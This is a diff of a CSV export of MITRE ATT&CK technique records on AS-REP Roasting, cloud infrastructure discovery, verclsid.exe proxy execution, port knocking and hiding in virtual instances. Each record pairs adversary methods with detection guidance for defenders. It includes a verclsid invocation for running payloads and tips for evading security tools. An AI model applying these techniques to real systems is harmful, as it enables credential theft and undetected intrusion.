in _VBA_PROJECT stream must match host'],,1.0 -2020-08-24 13:43:00.028000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) +If the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)",True,['User'],"['Linux', 'Windows', 'macOS']",1.1,,['MS Office version specified in _VBA_PROJECT stream must match host'],,,,, +attack-pattern,attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-08-24T13:43:00.028Z,2021-06-07T19:23:33.039Z,AS-REP Roasting,"Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) Preauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password.(Citation: Microsoft Kerberos Preauth 2014) @@ -640,310 +789,323 @@ For each account found without preauthentication, an adversary may send an AS-RE An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) -Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1558/004', external_id='T1558.004'), ExternalReference(source_name='Harmj0y Roasting AS-REPs Jan 2017', description='HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved August 24, 2020.', url='http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/'), ExternalReference(source_name='Microsoft Kerberos Preauth 2014', description='Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020.', url='https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx'), ExternalReference(source_name='Stealthbits Cracking AS-REP Roasting Jun 2019', description='Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020.', url='https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/'), ExternalReference(source_name='SANS Attacking Kerberos Nov 2014', description='Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.', url='https://redsiege.com/kerberoast-slides'), ExternalReference(source_name='AdSecurity Cracking Kerberos Dec 2015', description='Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.', url='https://adsecurity.org/?p=2293'), ExternalReference(source_name='Microsoft Detecting Kerberoasting Feb 2018', description='Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.', url='https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/'), ExternalReference(source_name='Microsoft 4768 TGT 2017', description='Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020.', url='https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768')]",attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-10-20 19:30:11.783000+00:00,AS-REP Roasting,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['James Dunn, @jamdunnDFW, EY', 'Swapnil Kumbhar', 'Jacques Pluviose, @Jacqueswildy_IT', 'Dan Nutting, @KerberToast']",['Active Directory: Active Directory Credential Request'],,,,,"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)",,,,,True,,,['User'],['Windows'],,['Valid domain account'],,1.0 -2020-08-20 17:51:25.671000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services. +Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1558/004', 'external_id': 'T1558.004'}, {'source_name': 'Harmj0y Roasting AS-REPs Jan 2017', 'description': 'HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved August 24, 2020.', 'url': 'http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/'}, {'source_name': 'Microsoft Kerberos Preauth 2014', 'description': 'Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020.', 'url': 'https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx'}, {'source_name': 'Stealthbits Cracking AS-REP Roasting Jun 2019', 'description': 'Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020.', 'url': 'https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/'}, {'source_name': 'SANS Attacking Kerberos Nov 2014', 'description': 'Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.', 'url': 'https://redsiege.com/kerberoast-slides'}, {'source_name': 'AdSecurity Cracking Kerberos Dec 2015', 'description': 'Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.', 'url': 'https://adsecurity.org/?p=2293'}, {'source_name': 'Microsoft Detecting Kerberoasting Feb 2018', 'description': 'Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.', 'url': 'https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/'}, {'source_name': 'Microsoft 4768 TGT 2017', 'description': 'Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Yossi Nisani, Cymptom', 'James Dunn, @jamdunnDFW, EY', 'Swapnil Kumbhar', 'Jacques Pluviose, @Jacqueswildy_IT', 'Dan Nutting, @KerberToast']",['Active Directory: Active Directory Credential Request'],,"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)",True,['User'],['Windows'],1.0,,['Valid domain account'],,,,, +attack-pattern,attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-08-20T17:51:25.671Z,2021-09-02T14:42:19.761Z,Cloud Infrastructure Discovery,"An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services. -Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, as well as the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project(Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) +Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket (Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block). +Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) -An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020) Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1580', external_id='T1580'), ExternalReference(source_name='Amazon Describe Instance', description='Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.', url='https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html'), ExternalReference(source_name='Amazon Describe Instances API', description='Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.', url='https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html'), ExternalReference(source_name='Google Compute Instances', description='Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.', url='https://cloud.google.com/sdk/gcloud/reference/compute/instances/list'), ExternalReference(source_name='Microsoft AZ CLI', description='Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.', url='https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest'), ExternalReference(source_name='Expel IO Evil in AWS', description='A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.', url='https://expel.io/blog/finding-evil-in-aws/'), ExternalReference(source_name='Mandiant M-Trends 2020', description='Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', url='https://content.fireeye.com/m-trends/rpt-m-trends-2020')]",attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-03-08 10:33:02.163000+00:00,Cloud Infrastructure Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Praetorian'],"['Instance: Instance Metadata', 'Instance: Instance Enumeration', 'Snapshot: Snapshot Metadata', 'Snapshot: Snapshot Enumeration', 'Cloud Storage: Cloud Storage Metadata', 'Cloud Storage: Cloud Storage Enumeration', 'Volume: Volume Metadata', 'Volume: Volume Enumeration']",,,,,"Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",,,,,False,,,['User'],['IaaS'],,,,1.1 -2020-08-10 13:59:38.443000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe) +An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1580', 'external_id': 'T1580'}, {'source_name': 'Amazon Describe Instance', 'description': 'Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.', 'url': 'https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html'}, {'source_name': 'Amazon Describe Instances API', 'description': 'Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.', 'url': 'https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html'}, {'source_name': 'AWS Get Public Access Block', 'description': 'Amazon Web Services. (n.d.). Retrieved May 28, 2021.', 'url': 'https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html'}, {'source_name': 'Google Compute Instances', 'description': 'Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.', 'url': 'https://cloud.google.com/sdk/gcloud/reference/compute/instances/list'}, {'source_name': 'Microsoft AZ CLI', 'description': 'Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest'}, {'source_name': 'Expel IO Evil in AWS', 'description': 'A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.', 'url': 'https://expel.io/blog/finding-evil-in-aws/'}, {'source_name': 'Mandiant M-Trends 2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020'}, {'source_name': 'AWS Describe DB Instances', 'description': 'Amazon Web Services. (n.d.). Retrieved May 28, 2021.', 'url': 'https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Regina Elwell', 'Isif Ibrahima', 'Praetorian']","['Instance: Instance Metadata', 'Instance: Instance Enumeration', 'Snapshot: Snapshot Metadata', 'Snapshot: Snapshot Enumeration', 'Cloud Storage: Cloud Storage Metadata', 'Cloud Storage: Cloud Storage Enumeration', 'Volume: Volume Metadata', 'Volume: Volume Enumeration']",,"Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",False,['User'],['IaaS'],1.2,,,,,,, +attack-pattern,attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-08-10T13:59:38.443Z,2020-08-19T19:29:18.138Z,Verclsid,"Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe) -Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since it is signed and native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1218/012', external_id='T1218.012'), ExternalReference(source_name='WinOSBite verclsid.exe', description='verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block\xa0. Retrieved August 10, 2020.', url='https://www.winosbite.com/verclsid-exe/\xa0'), ExternalReference(source_name='LOLBAS Verclsid', description='LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020.', url='https://lolbas-project.github.io/lolbas/Binaries/Verclsid/'), ExternalReference(source_name='Red Canary Verclsid.exe', description='Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020.', url='https://redcanary.com/blog/verclsid-exe-threat-detection/'), ExternalReference(source_name='BOHOPS Abusing the COM Registry', description='BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020.', url='https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/'), ExternalReference(source_name='Nick Tyrer GitHub', description='Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020.', url='https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5')]",attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-08-19 19:29:18.138000+00:00,Verclsid,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Rodrigo Garcia, Red Canary']","['Process: Process Creation', 'Command: Command Execution']","['Application control', 'Digital Certificate Validation']",,,,"Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications.",,,,,True,,,['User'],['Windows'],,,,1.0 -2020-07-01 18:23:25.002000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. +Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since it is signed and native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/012', 'external_id': 'T1218.012'}, {'source_name': 'WinOSBite verclsid.exe', 'description': 'verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block\xa0. Retrieved August 10, 2020.', 'url': 'https://www.winosbite.com/verclsid-exe/\xa0'}, {'source_name': 'LOLBAS Verclsid', 'description': 'LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Verclsid/'}, {'source_name': 'Red Canary Verclsid.exe', 'description': 'Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020.', 'url': 'https://redcanary.com/blog/verclsid-exe-threat-detection/'}, {'source_name': 'BOHOPS Abusing the COM Registry', 'description': 'BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020.', 'url': 'https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/'}, {'source_name': 'Nick Tyrer GitHub', 'description': 'Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020.', 'url': 'https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Rodrigo Garcia, Red Canary']","['Process: Process Creation', 'Command: Command Execution']","['Application control', 'Digital Certificate Validation']","Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications.",True,['User'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-07-01T18:23:25.002Z,2020-10-21T01:26:31.804Z,Port Knocking,"Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system. -The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1205/001', external_id='T1205.001'), ExternalReference(source_name='Hartrell cd00r 2002', description='Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.', url='https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631')]",attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-10-21 01:26:31.804000+00:00,Port Knocking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']",,,,,"Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows', 'Network']",,,,1.1 -2020-06-29 15:36:41.535000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019) +The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1205/001', 'external_id': 'T1205.001'}, {'source_name': 'Hartrell cd00r 2002', 'description': 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.', 'url': 'https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']",,"Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.",True,['User'],"['Linux', 'macOS', 'Windows', 'Network']",1.1,,,,,,, +attack-pattern,attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-29T15:36:41.535Z,2021-10-14T22:21:59.708Z,Run Virtual Instance,"Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019) + +Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564/006', 'external_id': 'T1564.006'}, {'source_name': 'SingHealth Breach Jan 2019', 'description': ""Committee of Inquiry into the Cyber Attack on SingHealth. (2019, January 10). Public Report of the Committee of Inquiry into the Cyber Attack on Singapore Health Services Private Limited's Patient Database. Retrieved June 29, 2020."", 'url': 'https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx'}, {'source_name': 'Sophos Ragnar May 2020', 'description': 'SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.', 'url': 'https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/'}, {'source_name': 'Shadowbunny VM Defense Evasion', 'description': 'Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021.', 'url': 'https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Johann Rehberger', 'Janantha Marasinghe', 'Menachem Shafran, XM Cyber']","['Process: Process Creation', 'File: File Creation', 'Command: Command Execution', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification']",,"Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances. -Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1564/006', external_id='T1564.006'), ExternalReference(source_name='SingHealth Breach Jan 2019', description=""Committee of Inquiry into the Cyber Attack on SingHealth. (2019, January 10). Public Report of the Committee of Inquiry into the Cyber Attack on Singapore Health Services Private Limited's Patient Database. Retrieved June 29, 2020."", url='https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx'), ExternalReference(source_name='Sophos Ragnar May 2020', description='SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.', url='https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/')]",attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-07-06 19:03:40.330000+00:00,Run Virtual Instance,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Janantha Marasinghe', 'Menachem Shafran, XM Cyber']","['Process: Process Creation', 'File: File Creation', 'Command: Command Execution', 'Service: Service Creation', 'Windows Registry: 